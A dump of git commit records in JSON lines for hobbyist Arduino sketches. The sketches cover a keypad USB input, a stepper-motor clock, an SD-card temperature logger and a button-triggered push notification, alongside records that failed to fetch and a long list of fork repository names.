Decrement timeout and check if key is being held down\n delayMicroseconds(1);\n while (getKeypadStatus() == keypadStatus){ \/\/ while the same button is held down \n sendKeyPress(keypadStatus); \/\/ continue to send the button over USB\n delay(50); \/\/ 50ms repeat rate\n }\n }\n }\n lastkeypadStatus = keypadStatus;\n}\n\n\/* sendKeyPress(int key): This function sends a single key over USB\n It requires an int, of which the 12 LSbs are used. Each bit in\n key represents a single button on the keypad.\n This function will only send a key press if a single button\n is being pressed *\/\nvoid sendKeyPress(int key){\n if(serial)\n Serial.write(layout[key-1]);\n else\n Keyboard.write(layout[key-1]);\n}\n\n\/* getKeypadStatus(): This function returns an int that represents\nthe status of the 12-button keypad. Only the 12 LSb's of the return\nvalue hold any significange. Each bit represents the status of a single\nkey on the button pad. '1' is bit 0, '2' is bit 1, '3' is bit 2, ..., \n'#' is bit 11.\n\nThis function doesn't work for multitouch.\n*\/\nint getKeypadStatus(){\n int keypadStatus = 0; \/\/ this will be what's returned\n \n \/* initialize all pins, inputs w\/ pull-ups *\/\n for (int i=2; i<=9; i++){\n pinMode(i, INPUT_PULLUP);\n }\n \n for (int row=0; row<4; row++){ \/\/ initial for loop to check all 4 rows\n pinMode(rowPins[row], OUTPUT); \/\/ set the row pin as an output\n digitalWrite(rowPins[row], LOW); \/\/ pull the row pins low\n for (int col=0; col<4; col++){ \/\/ embedded for loop to check all 3 columns of each row\n if (!digitalRead(columnPins[col]))\n {\n keypadStatus = (row+1)*4 + (col+1) - 4; \/\/ set the status bit of the keypad return value\n }\n }\n pinMode(rowPins[row], INPUT_PULLUP); \/\/ reset the row pin as an input\n }\n \n return keypadStatus;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'fln-door-pad.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"81349bf737b34001fcdeaefaef1d4a90fb309995","subject":"Pushed the robot code","message":"Pushed the robot code\n","repos":"bocaaust\/BellBoy,bocaaust\/BellBoy,bocaaust\/BellBoy","old_file":"Hardware\/Arduino Code\/RobotCode\/RobotCode.ino","new_file":"Hardware\/Arduino Code\/RobotCode\/RobotCode.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Hardware\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/RobotCode\/RobotCode.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0be717ff12bc92c738c411541aeb0604bb1a27fd","subject":"arduino sketch","message":"arduino sketch\n","repos":"fgascon\/hpclock","old_file":"arduino\/hpclock\/hpclock.ino","new_file":"arduino\/hpclock\/hpclock.ino","new_contents":"#include <AccelStepper.h>\n#include <AFMotor.h>\n\n\/\/ two stepper motors one on each port\nAF_Stepper motor1(200, 1);\nAF_Stepper motor2(200, 2);\n\n\/\/ you can change these to DOUBLE or INTERLEAVE or MICROSTEP!\n\/\/ wrappers for the first motor!\nvoid forwardstep1(){ \n motor1.onestep(FORWARD, SINGLE);\n}\nvoid backwardstep1(){ \n motor1.onestep(BACKWARD, SINGLE);\n}\n\/\/ wrappers for the second motor!\nvoid forwardstep2(){ \n motor2.onestep(FORWARD, SINGLE);\n}\nvoid backwardstep2(){ \n motor2.onestep(BACKWARD, SINGLE);\n}\n\n\/\/ Motor shield has two motor ports, now we'll wrap them in an AccelStepper object\nAccelStepper stepper1(forwardstep1, backwardstep1);\nAccelStepper stepper2(forwardstep2, backwardstep2);\n\nint messageMotor = 0;\nint messagePosition = 0;\n\nvoid setup(){\n Serial.begin(9600);\n \n stepper1.setMaxSpeed(40.0);\n stepper1.setAcceleration(15.0);\n stepper1.runToNewPosition(0);\n \n stepper2.setMaxSpeed(40.0);\n stepper2.setAcceleration(15.0);\n stepper2.runToNewPosition(0);\n}\n\nvoid loop(){\n stepper1.run();\n stepper2.run();\n Serial.println(\"1:\"+stepper1.currentPosition());\n Serial.println(\"2:\"+stepper2.currentPosition());\n while(Serial.available()){\n if(messageMotor > 0){\n messagePosition = Serial.read();\n switch(messageMotor){\n case 1:\n stepper1.moveTo(messagePosition);\n break;\n case 2:\n stepper2.moveTo(messagePosition);\n break;\n }\n }else{\n messageMotor = Serial.read();\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/hpclock\/hpclock.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5827db7ce301b3a1395eee1360d74f9a160bcd26","subject":"Initial setup - CTD","message":"Initial setup - CTD\n","repos":"Grupo-de-Oceanografia-Costeira\/CTD,arnaldorusso\/CTD","old_file":"ctd\/ctd.ino","new_file":"ctd\/ctd.ino","new_contents":"#include <SPI.h>\n#include <SD.h>\n\/\/ Base name must be six characters or less for short file names.\n#define FILE_BASE_NAME \"Data\"\n\n\nconst uint8_t CS_PIN = 10; \/\/ ChipSelect (MKRZero SD: SDCARD_SS_PIN)\nconst int gLed = 11; \/\/\nconst int rLed = 8; \/\/\nconst int LM35 = A0; \/\/ Temperature sensor\n\nFile dataFile;\nunsigned long int time;\nfloat temp;\n\nconst uint8_t BASE_NAME_SIZE = sizeof(FILE_BASE_NAME) - 1;\nchar fileName[] = FILE_BASE_NAME \"00.csv\";\n\nvoid setup(){\n pinMode(rLed, OUTPUT);\n pinMode(gLed, OUTPUT);\n Serial.begin(9600);\n \n if (!SD.begin(CS_PIN)) {\n Serial.println(F(\"begin failed\"));\n digitalWrite(rLed, HIGH);\n return;\n }\n while (SD.exists(fileName)) {\n if (fileName[BASE_NAME_SIZE + 1] != '9') {\n fileName[BASE_NAME_SIZE + 1]++;\n } else if (fileName[BASE_NAME_SIZE] != '9') {\n fileName[BASE_NAME_SIZE + 1] = '0';\n fileName[BASE_NAME_SIZE]++;\n } else {\n Serial.println(F(\"Can't create file name\"));\n digitalWrite(rLed, LOW);\n delay(1000);\n digitalWrite(rLed, HIGH);\n delay(1000);\n digitalWrite(rLed, LOW);\n delay(1000);\n digitalWrite(rLed, HIGH);\n delay(1000);\n digitalWrite(rLed, LOW);\n delay(1000);\n digitalWrite(rLed, HIGH);\n return;\n }\n }\n dataFfile = SD.open(fileName, FILE_WRITE);\n if (!dataFile) {\n Serial.println(F(\"open failed\"));\n digitalWrite(rLed, LOW);\n delay(200);\n digitalWrite(rLed, HIGH);\n delay(200);\n digitalWrite(rLed, LOW);\n delay(200);\n digitalWrite(rLed, HIGH);\n delay(200);\n digitalWrite(rLed, LOW);\n return;\n }\n Serial.print(F(\"opened: \"));\n Serial.println(fileName);\n digitalWrite(gLed,HIGH);\n delay(2000);\n digitalWrite(gLed, LOW);\n delay(500);\n digitalWrite(gLed,HIGH);\n delay(2000);\n digitalWrite(gLed, LOW);\n dataFile.close();\n}\n\nvoid loop(){\n time = millis();\n temp = (float(analogRead(LM35))*5\/(1023))\/0.01;\n if (temp > 28) {\n digitalWrite(rLed, HIGH);\n delay(250);\n digitalWrite(rLed, LOW);\n delay(250);\n } \n else {\n digitalWrite(gLed,HIGH);\n delay(250);\n digitalWrite(gLed, LOW);\n delay(250);\n }\n File dataFile = SD.open(fileName, FILE_WRITE);\n dataFile.print(temp); \n dataFile.print(\",\");\n dataFile.print(temp);\n dataFile.close();\n Serial.print(\"The Temp is: \");\n Serial.println(temp);\n Serial.print(\"The time is: \");\n Serial.println(time);\n Serial.println(\"\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ctd\/ctd.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"302418e868a26e5d877114700ae1202ae5f67f35","subject":"have put the FunctionPointer into PROGMEM: lesser SRAM used !","message":"have put the FunctionPointer into PROGMEM: lesser SRAM used !\n","repos":"TEAMarg\/ID-48-Fantasy-Rampage,TEAMarg\/ID-47-Helmets-Hordes,TEAMarg\/ID-47-Helmets-Hordes,TEAMarg\/ID-48-Fantasy-Rampage,TEAMarg\/ID-44-Pinball,TEAMarg\/ID-44-Pinball","old_file":"DUMMY_AB\/DUMMY_AB.ino","new_file":"DUMMY_AB\/DUMMY_AB.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/ID-47-Helmets-Hordes.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7f9deffe40706aad066db5cf78c711a54111a247","subject":"Button to Push Notification example","message":"Button to Push Notification example\n","repos":"JimmySoftware\/ESPert,JimmySoftware\/ESPert,JimmySoftware\/ESPert","old_file":"examples\/_0110_ButtonToPushMessage\/_0110_ButtonToPushMessage.ino","new_file":"examples\/_0110_ButtonToPushMessage\/_0110_ButtonToPushMessage.ino","new_contents":"#include <ESPert.h>\n\nESPert espert;\n\nconst char *host = \"www.espert.io\";\nconst int httpPort = 80;\n\nString message = \"Hello from ESPresso Lite!\";\nString smartphone_key = \"5733311175458816\";\n\nbool currentSwitch = true;\n\nvoid setup() {\n espert.init();\n\n espert.oled.init();\n delay(2000);\n\n espert.oled.clear();\n espert.oled.println(espert.info.getId());\n espert.oled.println();\n\n int mode = espert.wifi.init();\n\n if (mode == ESPERT_WIFI_MODE_CONNECT) {\n espert.println(\">>> WiFi mode: connected.\");\n espert.oled.println(\"WiFi: connected.\");\n espert.oled.print(\"IP..: \");\n espert.oled.println(espert.wifi.getLocalIP());\n } else if (mode == ESPERT_WIFI_MODE_DISCONNECT) {\n espert.println(\">>> WiFi mode: disconnected.\");\n espert.oled.println(\"WiFi: not connected.\");\n } else if (mode == ESPERT_WIFI_MODE_SMARTCONFIG) {\n espert.println(\">>> WiFi mode: smart config.\");\n } else if (mode == ESPERT_WIFI_MODE_SETTINGAP) {\n espert.println(\">>> WiFi mode: access point.\");\n }\n}\n\nvoid loop() {\n espert.loop();\n\n bool buttonPressed = espert.button.isOn();\n\n if (buttonPressed != currentSwitch) {\n if (buttonPressed) {\n espert.println(\"Button: On\");\n espert.led.on();\n espert.println( \"Connecting...\" );\n message.replace( String(\" \"), String(\"%20\") );\n String path = \"\/MySmartphone\/send?key=\" + smartphone_key + \"&message=\" + message;\n espert.println( \">>\" + espert.wifi.getHTTP( host, path.c_str() ) + \"<<\" );\n } else {\n espert.println(\"Button: Off\");\n espert.led.off();\n }\n\n currentSwitch = buttonPressed;\n }\n\n \n delay( 500 ); \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/_0110_ButtonToPushMessage\/_0110_ButtonToPushMessage.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6f66a841c71c1d518e55561227ee16c9a3d2b850","subject":"Re-add TX RX","message":"Re-add TX RX\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"Sensor Code (Arduino)\/arduinoSensorTX\/arduinoSensorTX.ino","new_file":"Sensor Code (Arduino)\/arduinoSensorTX\/arduinoSensorTX.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: \"(\" unexpected\n","license":"mit","lang":"Arduino"} {"commit":"280647c2610912cf802be332711eae2a4c923c28","subject":"Comment formatting","message":"Comment formatting\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1110407690b1ad88bb7f1e510139fe39618b6c61","subject":"Added SoftwareSerial Two Port Receive example","message":"Added SoftwareSerial Two Port Receive example\n","repos":"PaintYourDragon\/Arduino,adamkh\/Arduino,tannewt\/Arduino,ari-analytics\/Arduino,garci66\/Arduino,radiolok\/Energia,ForestNymph\/Arduino_sources,ikbelkirasan\/Arduino,plaintea\/esp8266-Arduino,fungxu\/Arduino,jaej-dev\/Arduino,qtonthat\/Energia,bsmr-arduino\/Arduino,plinioseniore\/Arduino,ashwin713\/Arduino,lukeWal\/Arduino,wdoganowski\/Arduino,ntruchsess\/Arduino-1,Ramoonus\/Arduino,Cloudino\/Arduino,jamesrob4\/Arduino,drpjk\/Arduino,acosinwork\/Arduino,ms-iot\/Arduino,ccoenen\/Arduino,sanyaade-iot\/Arduino-1,wayoda\/Arduino,benwolfe\/esp8266-Arduino,ogferreiro\/Arduino,NicoHood\/Arduino,piersoft\/esp8266-Arduino,tommyli2014\/Arduino,ssvs111\/Arduino,shannonshsu\/Arduino,jadonk\/Energia,pdNor\/Arduino,jomolinare\/Arduino,bigjosh\/Arduino,mboufos\/esp8266-Arduino,leftbrainstrain\/Arduino-ESP8266,Gourav2906\/Arduino,mattvenn\/Arduino,garci66\/Arduino,tbowmo\/Arduino,andyvand\/Arduino-1,eduardocasarin\/Arduino,arduino-org\/Arduino,jomolinare\/Arduino,andyvand\/Arduino-1,danielchalef\/Arduino,damellis\/Arduino,plinioseniore\/Arduino,ms-iot\/Arduino,ms-iot\/Arduino,shannonshsu\/Arduino,i--storm\/Energia,henningpohl\/Arduino,noahchense\/Arduino-1,karlitxo\/Arduino,01org\/Arduino,zenmanenergy\/Arduino,wilhelmryan\/Arduino,EmuxEvans\/Arduino,zenmanenergy\/Arduino,onovy\/Arduino,eeijcea\/Arduino-1,zacinaction\/Energia,lulufei\/Arduino,Protoneer\/Arduino,gberl001\/Arduino,NeuralSpaz\/Arduino,tbowmo\/Arduino,ssvs111\/Arduino,pasky\/Energia,onovy\/Arduino,zenmanenergy\/Arduino,Protoneer\/Arduino,radut\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,battosai30\/Energia,zacinaction\/Energia,chaveiro\/Arduino,bobintornado\/Energia,bobintornado\/Energia,zederson\/Arduino,ccoenen\/Arduino,Gourav2906\/Arduino,plaintea\/esp8266-Arduino,weera00\/Arduino,mattvenn\/Arduino,tomkrus007\/Arduino,lulufei\/Arduino,jmgonzalez00449\/Arduino,brianonn\/Energia,nandojve\/Arduino,rodibot\/Arduino,benwolfe\/esp8266-Arduino,martianmartin\/Energia,jaehong\/Xmegaduino,paulmand3l\/Arduino,ashwin713\/Arduino,diydrones\/Arduino,pasky\/Energia,adafruit\/ESP8266-Arduino,xxxajk\/Arduino-1,jomolinare\/Arduino,PeterVH\/Arduino,snargledorf\/Arduino,PaoloP74\/Arduino,eddyst\/Arduino-SourceCode,eduardocasarin\/Arduino,jadonk\/Energia,stevemayhew\/Arduino,HCastano\/Arduino,jmgonzalez00449\/Arduino,martianmartin\/Energia,tommyli2014\/Arduino,wdoganowski\/Arduino,odbol\/Arduino,garci66\/Arduino,stickbreaker\/Arduino,lulufei\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jaehong\/Xmegaduino,myrtleTree33\/Arduino,plinioseniore\/Arduino,koltegirish\/Arduino,gonium\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Orthogonal-Systems\/arduino-libs,DavidUser\/Energia,NoPinky\/Energia,jabezGit\/Arduino,niggor\/Arduino_cc,mc-hamster\/esp8266-Arduino,danielohh\/Energia,odbol\/Arduino,Cloudino\/Cloudino-Arduino-IDE,odbol\/Arduino,OpenDevice\/Arduino,mc-hamster\/esp8266-Arduino,stickbreaker\/Arduino,paulmand3l\/Arduino,ogferreiro\/Arduino,pdNor\/Arduino,zaiexx\/Arduino,wilhelmryan\/Arduino,laylthe\/Arduino,scdls\/Arduino,PaintYourDragon\/Arduino,dvdvideo1234\/Energia,NaSymbol\/Arduino,meanbot\/Energia,probonopd\/Arduino,tannewt\/Arduino,NoPinky\/Energia,steamboating\/Arduino,eeijcea\/Arduino-1,cscenter\/Arduino,pdNor\/Arduino,noahchense\/Arduino-1,eddyst\/Arduino-SourceCode,sanyaade-iot\/Arduino-1,ari-analytics\/Arduino,acosinwork\/Arduino,stickbreaker\/Arduino,eeijcea\/Arduino-1,ogahara\/Arduino,Cloudino\/Arduino,spapadim\/Arduino,bugobliterator\/BUAGI,nandojve\/Arduino,OpenDevice\/Arduino,steamboating\/Arduino,stickbreaker\/Arduino,adamkh\/Arduino,linino\/Arduino,jamesrob4\/Arduino,KlaasDeNys\/Arduino,henningpohl\/Arduino,rcook\/DesignLab,koltegirish\/Arduino,brianonn\/Energia,mboufos\/esp8266-Arduino,byran\/Arduino,piersoft\/esp8266-Arduino,andrealmeidadomingues\/Arduino,dvdvideo1234\/Energia,onovy\/Arduino,leftbrainstrain\/Arduino-ESP8266,koltegirish\/Arduino,tbowmo\/Arduino,tskurauskas\/Arduino,drpjk\/Arduino,ogferreiro\/Arduino,brianonn\/Energia,qtonthat\/Energia,381426068\/Arduino,Alfredynho\/AgroSis,gberl001\/Arduino,01org\/Arduino,EmuxEvans\/Arduino,stevemarple\/Arduino,gonium\/Arduino,eggfly\/arduino,NicoHood\/Arduino,lukeWal\/Arduino,nandojve\/Arduino,probonopd\/Arduino,drpjk\/Arduino,majenkotech\/Arduino,NicoHood\/Arduino,paulmand3l\/Arduino,scdls\/Arduino,zacinaction\/Energia,NicoHood\/Arduino,ashwin713\/Arduino,Orthogonal-Systems\/arduino-libs,Cloudino\/Cloudino-Arduino-IDE,majenkotech\/Arduino,weera00\/Arduino,danielchalef\/Arduino,jaimemaretoli\/Arduino,wdoganowski\/Arduino,gurbrinder\/Arduino,Alfredynho\/AgroSis,stevemayhew\/Arduino,ari-analytics\/Arduino,onovy\/Arduino,ccoenen\/Arduino,NaSymbol\/Arduino,bugobliterator\/BUAGI,noahchense\/Arduino-1,stevemarple\/Arduino-org,championswimmer\/Arduino,mattvenn\/Arduino,stevemarple\/Arduino-org,benwolfe\/esp8266-Arduino,SmartArduino\/Arduino-1,rcook\/DesignLab,byran\/Arduino,meanbot\/Energia,bobintornado\/Energia,talhaburak\/Arduino,me-no-dev\/Arduino-1,rodibot\/Arduino,me-no-dev\/Arduino-1,wilhelmryan\/Arduino,xxxajk\/Arduino-1,sanyaade-iot\/Energia,eggfly\/arduino,jaimemaretoli\/Arduino,gurbrinder\/Arduino,snargledorf\/Arduino,adamkh\/Arduino,jabezGit\/Arduino,fungxu\/Arduino,croberts15\/Energia,ForestNymph\/Arduino_sources,Ramoonus\/Arduino,piersoft\/esp8266-Arduino,adafruit\/ESP8266-Arduino,eduardocasarin\/Arduino,Alfredynho\/AgroSis,scdls\/Arduino,Chris--A\/Arduino,championswimmer\/Arduino,championswimmer\/Arduino,cevatbostancioglu\/Energia,dvdvideo1234\/Energia,mateuszdw\/Arduino,Ramoonus\/Arduino,adamkh\/Arduino,radut\/Arduino,Protoneer\/Arduino,KlaasDeNys\/Arduino,Cloudino\/Cloudino-Arduino-IDE,EmuxEvans\/Arduino,dvdvideo1234\/Energia,cevatbostancioglu\/Energia,radiolok\/Energia,EmuxEvans\/Arduino,byran\/Arduino,pdNor\/Arduino,kidswong999\/Arduino,snargledorf\/Arduino,niggor\/Arduino_cc,jaimemaretoli\/Arduino,i--storm\/Energia,ogahara\/Arduino,bobintornado\/Energia,acosinwork\/Arduino,me-no-dev\/Arduino-1,meanbot\/Energia,odbol\/Arduino,jabezGit\/Arduino,scdls\/Arduino,drpjk\/Arduino,tbowmo\/Arduino,HCastano\/Arduino,pdNor\/Arduino,tskurauskas\/Arduino,lukeWal\/Arduino,stevemayhew\/Arduino,karlitxo\/Arduino,Cloudino\/Arduino,radut\/Arduino,bobintornado\/Energia,leftbrainstrain\/Arduino-ESP8266,niggor\/Arduino_cc,wayoda\/Arduino,381426068\/Arduino,talhaburak\/Arduino,danielchalef\/Arduino,Cloudino\/Cloudino-Arduino-IDE,tannewt\/Arduino,steamboating\/Arduino,sanyaade-iot\/Arduino-1,arduino-org\/Arduino,diydrones\/Arduino,henningpohl\/Arduino,wayoda\/Arduino,noahchense\/Arduino-1,chaveiro\/Arduino,mboufos\/esp8266-Arduino,jaimemaretoli\/Arduino,leftbrainstrain\/Arduino-ESP8266,PeterVH\/Arduino,ccoenen\/Arduino,ricklon\/Arduino,jmgonzalez00449\/Arduino,battosai30\/Energia,aichi\/Arduino-2,ikbelkirasan\/Arduino,OpenDevice\/Arduino,raimohanska\/Arduino,NicoHood\/Arduino,ntruchsess\/Arduino-1,SmartArduino\/Arduino-1,tomkrus007\/Arduino,PeterVH\/Arduino,sanyaade-iot\/Arduino-1,xxxajk\/Arduino-1,linino\/Arduino,Gourav2906\/Arduino,martianmartin\/Energia,bigjosh\/Arduino,vigneshmanix\/Energia,arduino-org\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,KlaasDeNys\/Arduino,snargledorf\/Arduino,PaintYourDragon\/Arduino,NeuralSpaz\/Arduino,tskurauskas\/Arduino,tomkrus007\/Arduino,tomkrus007\/Arduino,brianonn\/Energia,PaoloP74\/Arduino,stevemayhew\/Arduino,onovy\/Arduino,martianmartin\/Energia,tommyli2014\/Arduino,wilhelmryan\/Arduino,Chris--A\/Arduino,jaimemaretoli\/Arduino,henningpohl\/Arduino,Chris--A\/Arduino,NaSymbol\/Arduino,adafruit\/ESP8266-Arduino,shiitakeo\/Arduino,chaveiro\/Arduino,raimohanska\/Arduino,kidswong999\/Arduino,Gourav2906\/Arduino,shannonshsu\/Arduino,bobintornado\/Energia,eggfly\/arduino,zacinaction\/Energia,adamkh\/Arduino,jadonk\/Energia,drpjk\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,probonopd\/Arduino,majenkotech\/Arduino,zederson\/Arduino,henningpohl\/Arduino,mc-hamster\/esp8266-Arduino,stevemarple\/Arduino-org,NicoHood\/Arduino,me-no-dev\/Arduino-1,stickbreaker\/Arduino,Cloudino\/Arduino,onovy\/Arduino,KlaasDeNys\/Arduino,byran\/Arduino,mateuszdw\/Arduino,ashwin713\/Arduino,steamboating\/Arduino,zaiexx\/Arduino,gestrem\/Arduino,Chris--A\/Arduino,adamkh\/Arduino,pasky\/Energia,drpjk\/Arduino,championswimmer\/Arduino,talhaburak\/Arduino,gestrem\/Arduino,plinioseniore\/Arduino,mattvenn\/Arduino,garci66\/Arduino,superboonie\/Arduino,spapadim\/Arduino,ari-analytics\/Arduino,381426068\/Arduino,gonium\/Arduino,UDOOboard\/Arduino,shiitakeo\/Arduino,andrealmeidadomingues\/Arduino,jaej-dev\/Arduino,381426068\/Arduino,PeterVH\/Arduino,ntruchsess\/Arduino-1,cscenter\/Arduino,ms-iot\/Arduino,martianmartin\/Energia,garci66\/Arduino,NoPinky\/Energia,EmuxEvans\/Arduino,gestrem\/Arduino,Protoneer\/Arduino,shiitakeo\/Arduino,gurbrinder\/Arduino,noahchense\/Arduino-1,brianonn\/Energia,HCastano\/Arduino,rodibot\/Arduino,vigneshmanix\/Energia,tbowmo\/Arduino,superboonie\/Arduino,gestrem\/Arduino,jaehong\/Xmegaduino,cscenter\/Arduino,ikbelkirasan\/Arduino,paulo-raca\/ESP8266-Arduino,NeuralSpaz\/Arduino,snargledorf\/Arduino,superboonie\/Arduino,stevemarple\/Arduino,garci66\/Arduino,ntruchsess\/Arduino-1,mateuszdw\/Arduino,jmgonzalez00449\/Arduino,ogahara\/Arduino,gonium\/Arduino,stevemarple\/Arduino,qtonthat\/Energia,acosinwork\/Arduino,01org\/Arduino,NeuralSpaz\/Arduino,SmartArduino\/Arduino-1,fungxu\/Arduino,karlitxo\/Arduino,jamesrob4\/Arduino,piersoft\/esp8266-Arduino,probonopd\/Arduino,croberts15\/Energia,jaehong\/Xmegaduino,sanyaade-iot\/Energia,odbol\/Arduino,Protoneer\/Arduino,smily77\/Arduino,tannewt\/Arduino,diydrones\/Arduino,tskurauskas\/Arduino,myrtleTree33\/Arduino,aichi\/Arduino-2,fungxu\/Arduino,danielchalef\/Arduino,Chris--A\/Arduino,PaoloP74\/Arduino,jaej-dev\/Arduino,NoPinky\/Energia,acosinwork\/Arduino,aichi\/Arduino-2,me-no-dev\/Arduino-1,ricklon\/Arduino,qtonthat\/Energia,NaSymbol\/Arduino,ssvs111\/Arduino,vbextreme\/Arduino,nkolban\/Arduino,piersoft\/esp8266-Arduino,ccoenen\/Arduino,smily77\/Arduino,brianonn\/Energia,laylthe\/Arduino,rodibot\/Arduino,qtonthat\/Energia,eeijcea\/Arduino-1,NaSymbol\/Arduino,ForestNymph\/Arduino_sources,UDOOboard\/Arduino,ccoenen\/Arduino,tannewt\/Arduino,laylthe\/Arduino,SmartArduino\/Arduino-1,eddyst\/Arduino-SourceCode,SmartArduino\/Arduino-1,mateuszdw\/Arduino,spapadim\/Arduino,zederson\/Arduino,damellis\/Arduino,scdls\/Arduino,ntruchsess\/Arduino-1,karlitxo\/Arduino,eduardocasarin\/Arduino,shiitakeo\/Arduino,chaveiro\/Arduino,arunkuttiyara\/Arduino,stevemarple\/Arduino,bsmr-arduino\/Arduino,wayoda\/Arduino,NeuralSpaz\/Arduino,odbol\/Arduino,lulufei\/Arduino,spapadim\/Arduino,spapadim\/Arduino,paulmand3l\/Arduino,ari-analytics\/Arduino,Ramoonus\/Arduino,ForestNymph\/Arduino_sources,jadonk\/Energia,myrtleTree33\/Arduino,damellis\/Arduino,pasky\/Energia,zaiexx\/Arduino,stevemarple\/Arduino-org,spapadim\/Arduino,wilhelmryan\/Arduino,nkolban\/Arduino,stevemayhew\/Arduino,381426068\/Arduino,danielchalef\/Arduino,gurbrinder\/Arduino,NeuralSpaz\/Arduino,ikbelkirasan\/Arduino,adamkh\/Arduino,talhaburak\/Arduino,mangelajo\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,gberl001\/Arduino,ntruchsess\/Arduino-1,linino\/Arduino,raimohanska\/Arduino,wilhelmryan\/Arduino,raimohanska\/Arduino,battosai30\/Energia,me-no-dev\/Arduino-1,andrealmeidadomingues\/Arduino,tommyli2014\/Arduino,plaintea\/esp8266-Arduino,noahchense\/Arduino-1,gberl001\/Arduino,byran\/Arduino,381426068\/Arduino,drpjk\/Arduino,leftbrainstrain\/Arduino-ESP8266,leftbrainstrain\/Arduino-ESP8266,ashwin713\/Arduino,plaintea\/esp8266-Arduino,scdls\/Arduino,aichi\/Arduino-2,koltegirish\/Arduino,lukeWal\/Arduino,sanyaade-iot\/Arduino-1,nandojve\/Arduino,majenkotech\/Arduino,tbowmo\/Arduino,niggor\/Arduino_cc,jamesrob4\/Arduino,jaej-dev\/Arduino,superboonie\/Arduino,andyvand\/Arduino-1,mangelajo\/Arduino,SmartArduino\/Arduino-1,ogferreiro\/Arduino,01org\/Arduino,mateuszdw\/Arduino,niggor\/Arduino_cc,jomolinare\/Arduino,DavidUser\/Energia,probonopd\/Arduino,diydrones\/Arduino,KlaasDeNys\/Arduino,tomkrus007\/Arduino,ari-analytics\/Arduino,DavidUser\/Energia,chaveiro\/Arduino,talhaburak\/Arduino,paulmand3l\/Arduino,koltegirish\/Arduino,snargledorf\/Arduino,adafruit\/ESP8266-Arduino,bigjosh\/Arduino,arduino-org\/Arduino,rcook\/DesignLab,DavidUser\/Energia,jamesrob4\/Arduino,linino\/Arduino,laylthe\/Arduino,adamkh\/Arduino,championswimmer\/Arduino,steamboating\/Arduino,fungxu\/Arduino,xxxajk\/Arduino-1,shannonshsu\/Arduino,NoPinky\/Energia,Alfredynho\/AgroSis,paulo-raca\/ESP8266-Arduino,stevemarple\/Arduino-org,zaiexx\/Arduino,vigneshmanix\/Energia,cscenter\/Arduino,smily77\/Arduino,arunkuttiyara\/Arduino,radut\/Arduino,jabezGit\/Arduino,radut\/Arduino,ektor5\/Arduino,stevemarple\/Arduino-org,jabezGit\/Arduino,jaej-dev\/Arduino,zenmanenergy\/Arduino,EmuxEvans\/Arduino,steamboating\/Arduino,bsmr-arduino\/Arduino,myrtleTree33\/Arduino,henningpohl\/Arduino,damellis\/Arduino,ccoenen\/Arduino,nkolban\/Arduino,PaintYourDragon\/Arduino,croberts15\/Energia,superboonie\/Arduino,ogahara\/Arduino,jadonk\/Energia,arduino-org\/Arduino,zaiexx\/Arduino,i--storm\/Energia,aichi\/Arduino-2,Cloudino\/Arduino,bigjosh\/Arduino,dvdvideo1234\/Energia,jaej-dev\/Arduino,qtonthat\/Energia,jaehong\/Xmegaduino,ikbelkirasan\/Arduino,jaimemaretoli\/Arduino,PeterVH\/Arduino,NoPinky\/Energia,koltegirish\/Arduino,vbextreme\/Arduino,ashwin713\/Arduino,wilhelmryan\/Arduino,nkolban\/Arduino,stickbreaker\/Arduino,wdoganowski\/Arduino,bigjosh\/Arduino,gberl001\/Arduino,mangelajo\/Arduino,OpenDevice\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ektor5\/Arduino,tommyli2014\/Arduino,croberts15\/Energia,plaintea\/esp8266-Arduino,DavidUser\/Energia,paulmand3l\/Arduino,superboonie\/Arduino,rcook\/DesignLab,zaiexx\/Arduino,damellis\/Arduino,plinioseniore\/Arduino,onovy\/Arduino,ricklon\/Arduino,UDOOboard\/Arduino,KlaasDeNys\/Arduino,kidswong999\/Arduino,jabezGit\/Arduino,eddyst\/Arduino-SourceCode,NicoHood\/Arduino,NeuralSpaz\/Arduino,jamesrob4\/Arduino,ektor5\/Arduino,ikbelkirasan\/Arduino,zederson\/Arduino,vigneshmanix\/Energia,shiitakeo\/Arduino,smily77\/Arduino,lulufei\/Arduino,niggor\/Arduino_cc,myrtleTree33\/Arduino,NicoHood\/Arduino,tomkrus007\/Arduino,jaej-dev\/Arduino,laylthe\/Arduino,jmgonzalez00449\/Arduino,weera00\/Arduino,toddtreece\/esp8266-A